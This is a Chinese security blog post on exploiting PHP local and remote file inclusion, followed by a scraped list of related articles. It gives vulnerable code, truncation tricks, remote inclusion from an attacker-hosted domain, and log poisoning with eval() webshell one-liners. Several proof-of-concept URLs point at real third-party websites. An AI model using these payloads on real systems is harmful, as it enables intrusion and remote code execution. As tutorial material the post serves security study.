有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络. 

关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过 

大家都懒得测试,我就来整理下. 

1.普通本地包含; 

<?php 
$query=$_GET['p']; 

include($query); 
?>

poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php

../hanguo/test.php为包含的路径. 

 

只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。 

2.截断本地包含 
require_once($a.'.php'); 

include($a.".php"); 

等等类似此包含的函数..

WINDOWS下还有特别用处: 

\.或者./或者\或者/截断 (WINDOWS都可以使用.) 

[link href="WooYun:快乐购某分站文件包含漏洞"]波波虎[/link] 

截断的原理 

[link href="WooYun:济南大学主站本地文件包含导致代码执行"]Linux包含截断例子[/link] (Linux.//可以.) 

%00截断包含,有gpc=off和php版本限制 

poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00

3.远程包含 

allow_url_include=On就是远程文件包含了,为off那就只能本地包含了. 

测试case: 
<?php 
$query=$_GET['p']; 

include($query.".php"); 
?>

连接:http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt

爆错了: 

Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in 

/var/www/htdocs/explame.php on line 3

include($query.".php");代码的缘故,在后面加上了".php",导致yeah.txt变成了yeah.txt.php

这里我们不需要截断啦,来个360计之----将计就计

在www.axxer.com创建个yeah.php文件; 

然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加 

.php;多么爱。。。。 

远程包含小连接 

我们还可以用php自带协议来利用: 

包含data:// 或者php://input 伪协议

这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。 

http://www.schnelltest24.de/index.php?page=/etc/passwd//这个没有截断,我们尝试下用协议看看. 

 

利用协议然后POST发送利用代码,哈哈;多么有爱~~~~. 

4.日记包含高级利用 

[link href="WooYun:济南大学主站本地文件包含导致代码执行"]Linux包含截断例子[/link] 

此连接已经透露出技巧了呢,连接思路简单说下: 

(1)访问带有一句话的错误连接(http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中. 

(2)找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././..........) 

一先限制以及突破: 
类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php 
这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.

可以使用:伪造没有Connection HTTP标头的请求包 

一点连接:内容1 

内容2 

5.其他高级利用 

(1)包含/proc/self/environ环境变量: 
这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样

 

利用(文章中第四点有详细介绍了.) 

(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了. 

(3)_SESSION爆破包含.   //看情况而定,有的需要%00等特殊字符截断.上面介绍过了. 

(2) (3)点介绍 

phpinfo爆破包含pdf

php包含那点事情[WOOYUN]的更多相关文章

  1. 各种解析漏洞获取Webshell

    各种解析漏洞拿shell  一.IIS 6.0解析漏洞 IIS 6.0解析利用方法有两种1.目录解析/xx.asp/xx.jpg2.文件解析wooyun.asp;.jpg第一种,在网站下建立文件夹的名 ...

  2. JavaScript: top对象

    一般的JS书里都会在讲框架集的时候讲top,这会让人误解,认为top对象只是代表框架集,其实top的含义应该是说浏览器直接包含的那一个页面对象,也就是说如果你有一个页面被其他页面以iframe的方式包 ...

  3. hadoop2-MapReduce详解

    本文是对Hadoop2.2.0版本的MapReduce进行详细讲解.请大家要注意版本,因为Hadoop的不同版本,源码可能是不同的. 以下是本文的大纲: 1.获取源码2.WordCount案例分析3. ...

  4. Forth 语言概要 - Forth: An underview

    Forth 语言概要 - Forth: An underview 原作者 Peter Knaggs 原文标题< Forth: An underview > 译者: 未知 译文链接: htt ...

  5. 循环神经网络-LSTM

    LSTM(Long Short-Term Memory)是长短期记忆网络,是一种时间递归神经网络,适合于处理和预测时间序列中间隔和延迟相对较长的重要事件. LSTM能够很大程度上缓解长期依赖的问题. ...

  6. NoSQL现状

    经过了至少4年的激烈争论,现在是对NoSQL的现状做一个阶段性结论的时候了.围绕着NoSQL发生了如此之多的事情,以至于很难对其作出一个简单概括,也很难判断它达到了什么目标以及在什么方面没有达到预期. ...

  7. upload-labs19记录

    upload-labs19记录 本次做题为白盒,因为只是fuzz的话并不能学到什么,所以从漏洞源下手. 前端校验 Pass1 源码 function checkFile() { var file = ...

  8. hadoop之mapreduce编程实例(系统日志初步清洗过滤处理)

    刚刚开始接触hadoop的时候,总觉得必须要先安装hadoop集群才能开始学习MR编程,其实并不用这样,当然如果你有条件有机器那最好是自己安装配置一个hadoop集群,这样你会更容易理解其工作原理.我 ...

  9. 12:django 模板 内建过滤器

    django 模板 内建过滤器 add{{ value|add:"2" }} 对象的加法,如果都是整数类型,简单的算术加法:如果是列表,则是列表的相加 如果无法执行对象的相加,比如 ...

随机推荐

  1. C指针与内存

    C指针与内存 指针是C / C++ 中重要的构造类型,指针赋予了C / C++程序直接访问和修改内存的能力.C / C++的许多重要应用,如编译.OS.嵌入式开发都依赖于这种能力. 冯诺依曼体系的计算 ...

  2. [转]分布式中Redis实现Session终结篇

    本文转自:http://www.cnblogs.com/yanweidie/p/4763556.html 上一篇使用Redis实现Session共享方式虽然可行,但是实际操作起来却很麻烦,现有代码已经 ...

  3. ASP.NET MVC显示UserControl控件(扩展篇)

    昨晚Insus.NET有怀旧一下<念念不忘,ASP.NET MVC显示WebForm网页或UserControl控件>http://www.cnblogs.com/insus/p/3641 ...

  4. AutoMapper之集合和数组映射

    9.集合和数组映射 在项目中,集合和数组使用的很多的,继续下来就讲讲他们的映射,很简单. /// <summary> /// 源对象 /// </summary> public ...

  5. PetaPoco源代码学习--0.目录贴

    2017年3季度后,以人力外包的形式派驻到甲方单位进行项目救急时,接触到了甲方单位的ASP.NET MVC项目的ORM框架,它以PetaPoco(2012年的老版本)进行改造升级的,当初就想学习一下这 ...

  6. linux 安装mysql8.0

    linux下安装mysql8.0 下载mysql $ wget http://mirrors.ustc.edu.cn/mysql-ftp/Downloads/MySQL-8.0/mysql-8.0.4 ...

  7. Java基础——ArrayList与LinkedList(一)

    一.定义 ArrayList和LinkedList是两个集合类,用于储存一系列的对象引用(references). 引用的格式分别为: ArrayList<String> list = n ...

  8. NIO学习笔记五:Buffer 的使用

    Java NIO中的Buffer用于和NIO通道进行交互.数据是从通道读入缓冲区,从缓冲区写入到通道中. 缓冲区本质上是一块可以写入数据,然后可以从中读取数据的内存.这块内存被包装成NIO Buffe ...

  9. Code Signal_练习题_stringsRearrangement

    Given an array of equal-length strings, check if it is possible to rearrange the strings in such a w ...

  10. 为JavaScript正名--读你不知道的JavaScript(持续更新..)

    你不知道的JavaScript上卷 JavaScript和Java的关系就像Carnival和Car的关系一样,八竿子打不着. JavaScript易上手,但由于其本身的特殊性,相比其他语言能真正掌握 ...